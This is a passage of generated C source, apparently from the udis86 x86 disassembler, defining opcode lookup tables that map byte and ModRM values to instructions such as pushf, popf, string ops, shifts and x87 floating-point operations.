},\n /* 01 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9C__MODE__OP_01__OSIZE },\n /* 02 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, P_def64|P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_9c__mode__op_00__osize[3] = {\n /* 00 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, P_def64|P_oso },\n /* 01 */ { UD_Ipushfd, O_NONE, O_NONE, O_NONE, P_def64|P_oso },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_9c__mode__op_01__osize[3] = {\n /* 00 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, P_def64|P_oso },\n /* 01 */ { UD_Ipushfd, O_NONE, O_NONE, O_NONE, P_def64|P_oso },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_9d__mode[3] = {\n /* 00 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9D__MODE__OP_00__OSIZE },\n /* 01 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9D__MODE__OP_01__OSIZE },\n /* 02 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_9d__mode__op_00__osize[3] = {\n /* 00 */ { UD_Ipopfw, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso },\n /* 01 */ { UD_Ipopfd, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_9d__mode__op_01__osize[3] = {\n /* 00 */ { UD_Ipopfw, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso },\n /* 01 */ { UD_Ipopfd, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_a5__osize[3] = {\n /* 00 */ { UD_Imovsw, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n /* 01 */ { UD_Imovsd, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n /* 02 */ { UD_Imovsq, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_a7__osize[3] = {\n /* 00 */ { UD_Icmpsw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 01 */ { UD_Icmpsd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 02 */ { UD_Icmpsq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_ab__osize[3] = {\n /* 00 */ { UD_Istosw, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n /* 01 */ { UD_Istosd, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n /* 02 */ { UD_Istosq, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_ad__osize[3] = {\n /* 00 */ { UD_Ilodsw, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n /* 01 */ { UD_Ilodsd, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n /* 02 */ { UD_Ilodsq, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_ae__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AE__MOD__OP_00__REG },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_ae__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifxsave, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifxrstor, O_M, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_af__osize[3] = {\n /* 00 */ { UD_Iscasw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 01 */ { UD_Iscasd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 02 */ { UD_Iscasq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_c0__reg[8] = {\n /* 00 */ { UD_Irol, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iror, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ircl, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ircr, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ishr, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Isar, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_c1__reg[8] = {\n /* 00 */ { UD_Irol, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iror, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ircl, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ircr, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ishr, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Isar, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_c6__reg[8] = {\n /* 00 */ { UD_Imov, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_c7__reg[8] = {\n /* 00 */ { UD_Imov, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_cf__osize[3] = {\n /* 00 */ { UD_Iiretw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 01 */ { UD_Iiretd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n /* 02 */ { UD_Iiretq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d0__reg[8] = {\n /* 00 */ { UD_Irol, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iror, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ircl, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ircr, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ishl, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ishr, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ishl, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Isar, O_Eb, O_I1, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d1__reg[8] = {\n /* 00 */ { UD_Irol, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iror, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ircl, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ircr, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ishl, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ishr, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ishl, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Isar, O_Ev, O_I1, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d2__reg[8] = {\n /* 00 */ { UD_Irol, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iror, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ircl, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ircr, O_Eb, O_CL, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ishl, O_Eb, O_CL, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ishr, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ishl, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Isar, O_Eb, O_CL, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d3__reg[8] = {\n /* 00 */ { UD_Irol, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iror, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ircl, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ircr, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ishl, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ishr, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ishl, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Isar, O_Ev, O_CL, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d8__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D8__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D8__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d8__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifadd, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifmul, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ifcom, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ifcomp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ifsub, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ifsubr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ifdiv, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ifdivr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d8__mod__op_01__x87[64] = {\n /* 00 */ { UD_Ifadd, O_ST0, O_ST0, O_NONE, P_none },\n /* 01 */ { UD_Ifadd, O_ST0, O_ST1, O_NONE, P_none },\n /* 02 */ { UD_Ifadd, O_ST0, O_ST2, O_NONE, P_none },\n /* 03 */ { UD_Ifadd, O_ST0, O_ST3, O_NONE, P_none },\n /* 04 */ { UD_Ifadd, O_ST0, O_ST4, O_NONE, P_none },\n /* 05 */ { UD_Ifadd, O_ST0, O_ST5, O_NONE, P_none },\n /* 06 */ { UD_Ifadd, O_ST0, O_ST6, O_NONE, P_none },\n /* 07 */ { UD_Ifadd, O_ST0, O_ST7, O_NONE, P_none },\n /* 08 */ { UD_Ifmul, O_ST0, O_ST0, O_NONE, P_none },\n /* 09 */ { UD_Ifmul, O_ST0, O_ST1, O_NONE, P_none },\n /* 0A */ { UD_Ifmul, O_ST0, O_ST2, O_NONE, P_none },\n /* 0B */ { UD_Ifmul, O_ST0, O_ST3, O_NONE, P_none },\n /* 0C */ { UD_Ifmul, O_ST0, O_ST4, O_NONE, P_none },\n /* 0D */ { UD_Ifmul, O_ST0, O_ST5, O_NONE, P_none },\n /* 0E */ { UD_Ifmul, O_ST0, O_ST6, O_NONE, P_none },\n /* 0F */ { UD_Ifmul, O_ST0, O_ST7, O_NONE, P_none },\n /* 10 */ { UD_Ifcom, O_ST0, O_ST0, O_NONE, P_none },\n /* 11 */ { UD_Ifcom, O_ST0, O_ST1, O_NONE, P_none },\n /* 12 */ { UD_Ifcom, O_ST0, O_ST2, O_NONE, P_none },\n /* 13 */ { UD_Ifcom, O_ST0, O_ST3, O_NONE, P_none },\n /* 14 */ { UD_Ifcom, O_ST0, O_ST4, O_NONE, P_none },\n /* 15 */ { UD_Ifcom, O_ST0, O_ST5, O_NONE, P_none },\n /* 16 */ { UD_Ifcom, O_ST0, O_ST6, O_NONE, P_none },\n /* 17 */ { UD_Ifcom, O_ST0, O_ST7, O_NONE, P_none },\n /* 18 */ { UD_Ifcomp, O_ST0, O_ST0, O_NONE, P_none },\n /* 19 */ { UD_Ifcomp, O_ST0, O_ST1, O_NONE, P_none },\n /* 1A */ { UD_Ifcomp, O_ST0, O_ST2, O_NONE, P_none },\n /* 1B */ { UD_Ifcomp, O_ST0, O_ST3, O_NONE, P_none },\n /* 1C */ { UD_Ifcomp, O_ST0, O_ST4, O_NONE, P_none },\n /* 1D */ { UD_Ifcomp, O_ST0, O_ST5, O_NONE, P_none },\n /* 1E */ { UD_Ifcomp, O_ST0, O_ST6, O_NONE, P_none },\n /* 1F */ { UD_Ifcomp, O_ST0, O_ST7, O_NONE, P_none },\n /* 20 */ { UD_Ifsub, O_ST0, O_ST0, O_NONE, P_none },\n /* 21 */ { UD_Ifsub, O_ST0, O_ST1, O_NONE, P_none },\n /* 22 */ { UD_Ifsub, O_ST0, O_ST2, O_NONE, P_none },\n /* 23 */ { UD_Ifsub, O_ST0, O_ST3, O_NONE, P_none },\n /* 24 */ { UD_Ifsub, O_ST0, O_ST4, O_NONE, P_none },\n /* 25 */ { UD_Ifsub, O_ST0, O_ST5, O_NONE, P_none },\n /* 26 */ { UD_Ifsub, O_ST0, O_ST6, O_NONE, P_none },\n /* 27 */ { UD_Ifsub, O_ST0, O_ST7, O_NONE, P_none },\n /* 28 */ { UD_Ifsubr, O_ST0, O_ST0, O_NONE, P_none },\n /* 29 */ { UD_Ifsubr, O_ST0, O_ST1, O_NONE, P_none },\n /* 2A */ { UD_Ifsubr, O_ST0, O_ST2, O_NONE, P_none },\n /* 2B */ { UD_Ifsubr, O_ST0, O_ST3, O_NONE, P_none },\n /* 2C */ { UD_Ifsubr, O_ST0, O_ST4, O_NONE, P_none },\n /* 2D */ { UD_Ifsubr, O_ST0, O_ST5, O_NONE, P_none },\n /* 2E */ { UD_Ifsubr, O_ST0, O_ST6, O_NONE, P_none },\n /* 2F */ { UD_Ifsubr, O_ST0, O_ST7, O_NONE, P_none },\n /* 30 */ { UD_Ifdiv, O_ST0, O_ST0, O_NONE, P_none },\n /* 31 */ { UD_Ifdiv, O_ST0, O_ST1, O_NONE, P_none },\n /* 32 */ { UD_Ifdiv, O_ST0, O_ST2, O_NONE, P_none },\n /* 33 */ { UD_Ifdiv, O_ST0, O_ST3, O_NONE, P_none },\n /* 34 */ { UD_Ifdiv, O_ST0, O_ST4, O_NONE, P_none },\n /* 35 */ { UD_Ifdiv, O_ST0, O_ST5, O_NONE, P_none },\n /* 36 */ { UD_Ifdiv, O_ST0, O_ST6, O_NONE, P_none },\n /* 37 */ { UD_Ifdiv, O_ST0, O_ST7, O_NONE, P_none },\n /* 38 */ { UD_Ifdivr, O_ST0, O_ST0, O_NONE, P_none },\n /* 39 */ { UD_Ifdivr, O_ST0, O_ST1, O_NONE, P_none },\n /* 3A */ { UD_Ifdivr, O_ST0, O_ST2, O_NONE, P_none },\n /* 3B */ { UD_Ifdivr, O_ST0, O_ST3, O_NONE, P_none },\n /* 3C */ { UD_Ifdivr, O_ST0, O_ST4, O_NONE, P_none },\n /* 3D */ { UD_Ifdivr, O_ST0, O_ST5, O_NONE, P_none },\n /* 3E */ { UD_Ifdivr, O_ST0, O_ST6, O_NONE, P_none },\n /* 3F */ { UD_Ifdivr, O_ST0, O_ST7, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d9__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D9__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D9__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d9__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifld, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 02 */ { UD_Ifst, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ifstp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ifldenv, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ifldcw, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ifnstenv, O_M, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ifnstcw, O_Mw, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_d9__mod__op_01__x87[64] = {\n /* 00 */ { UD_Ifld, O_ST0, O_ST0, O_NONE, P_none },\n /* 01 */ { UD_Ifld, O_ST0, O_ST1, O_NONE, P_none },\n /* 02 */ { UD_Ifld, O_ST0, O_ST2, O_NONE, P_none },\n /* 03 */ { UD_Ifld, O_ST0, O_ST3, O_NONE, P_none },\n /* 04 */ { UD_Ifld, O_ST0, O_ST4, O_NONE, P_none },\n /* 05 */ { UD_Ifld, O_ST0, O_ST5, O_NONE, P_none },\n /* 06 */ { UD_Ifld, O_ST0, O_ST6, O_NONE, P_none },\n /* 07 */ { UD_Ifld, O_ST0, O_ST7, O_NONE, P_none },\n /* 08 */ { UD_Ifxch, O_ST0, O_ST0, O_NONE, P_none },\n /* 09 */ { UD_Ifxch, O_ST0, O_ST1, O_NONE, P_none },\n /* 0A */ { UD_Ifxch, O_ST0, O_ST2, O_NONE, P_none },\n /* 0B */ { UD_Ifxch, O_ST0, O_ST3, O_NONE, P_none },\n /* 0C */ { UD_Ifxch, O_ST0, O_ST4, O_NONE, P_none },\n /* 0D */ { UD_Ifxch, O_ST0, O_ST5, O_NONE, P_none },\n /* 0E */ { UD_Ifxch, O_ST0, O_ST6, O_NONE, P_none },\n /* 0F */ { UD_Ifxch, O_ST0, O_ST7, O_NONE, P_none },\n /* 10 */ { UD_Ifnop, O_NONE, O_NONE, O_NONE, P_none },\n /* 11 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 12 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 18 */ { UD_Ifstp1, O_ST0, O_NONE, O_NONE, P_none },\n /* 19 */ { UD_Ifstp1, O_ST1, O_NONE, O_NONE, P_none },\n /* 1A */ { UD_Ifstp1, O_ST2, O_NONE, O_NONE, P_none },\n /* 1B */ { UD_Ifstp1, O_ST3, O_NONE, O_NONE, P_none },\n /* 1C */ { UD_Ifstp1, O_ST4, O_NONE, O_NONE, P_none },\n /* 1D */ { UD_Ifstp1, O_ST5, O_NONE, O_NONE, P_none },\n /* 1E */ { UD_Ifstp1, O_ST6, O_NONE, O_NONE, P_none },\n /* 1F */ { UD_Ifstp1, O_ST7, O_NONE, O_NONE, P_none },\n /* 20 */ { UD_Ifchs, O_NONE, O_NONE, O_NONE, P_none },\n /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 24 */ { UD_Iftst, O_NONE, O_NONE, O_NONE, P_none },\n /* 25 */ { UD_Ifxam, O_NONE, O_NONE, O_NONE, P_none },\n /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 28 */ { UD_Ifld1, O_NONE, O_NONE, O_NONE, P_none },\n /* 29 */ { UD_Ifldl2t, O_NONE, O_NONE, O_NONE, P_none },\n /* 2A */ { UD_Ifldl2e, O_NONE, O_NONE, O_NONE, P_none },\n /* 2B */ { UD_Ifldlpi, O_NONE, O_NONE, O_NONE, P_none },\n /* 2C */ { UD_Ifldlg2, O_NONE, O_NONE, O_NONE, P_none },\n /* 2D */ { UD_Ifldln2, O_NONE, O_NONE, O_NONE, P_none },\n /* 2E */ { UD_Ifldz, O_NONE, O_NONE, O_NONE, P_none },\n /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none },\n /* 31 */ { UD_Ifyl2x, O_NONE, O_NONE, O_NONE, P_none },\n /* 32 */ { UD_Ifptan, O_NONE, O_NONE, O_NONE, P_none },\n /* 33 */ { UD_Ifpatan, O_NONE, O_NONE, O_NONE, P_none },\n /* 34 */ { UD_Ifpxtract, O_NONE, O_NONE, O_NONE, P_none },\n /* 35 */ { UD_Ifprem1, O_NONE, O_NONE, O_NONE, P_none },\n /* 36 */ { UD_Ifdecstp, O_NONE, O_NONE, O_NONE, P_none },\n /* 37 */ { UD_Ifncstp, O_NONE, O_NONE, O_NONE, P_none },\n /* 38 */ { UD_Ifprem, O_NONE, O_NONE, O_NONE, P_none },\n /* 39 */ { UD_Ifyl2xp1, O_NONE, O_NONE, O_NONE, P_none },\n /* 3A */ { UD_Ifsqrt, O_NONE, O_NONE, O_NONE, P_none },\n /* 3B */ { UD_Ifsincos, O_NONE, O_NONE, O_NONE, P_none },\n /* 3C */ { UD_Ifrndint, O_NONE, O_NONE, O_NONE, P_none },\n /* 3D */ { UD_Ifscale, O_NONE, O_NONE, O_NONE, P_none },\n /* 3E */ { UD_Ifsin, O_NONE, O_NONE, O_NONE, P_none },\n /* 3F */ { UD_Ifcos, O_NONE, O_NONE, O_NONE, P_none },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_da__mod[2] = {\n /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DA__MOD__OP_00__REG },\n /* 01 */ { UD_Igrp_x87, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DA__MOD__OP_01__X87 },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_da__mod__op_00__reg[8] = {\n /* 00 */ { UD_Ifiadd, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 01 */ { UD_Ifimul, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 02 */ { UD_Ificom, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 03 */ { UD_Ificomp, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 04 */ { UD_Ifisub, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 05 */ { UD_Ifisubr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 06 */ { UD_Ifidiv, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n /* 07 */ { UD_Ifidivr, O_Md, O_NONE, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb },\n};\n\nstatic struct ud_itab_entry itab__1byte__op_da__mod__op_01__x87[64] = {\n /* 00 */ { UD_Ifcmovb, O_ST0, O_ST0, O_NONE, P_none 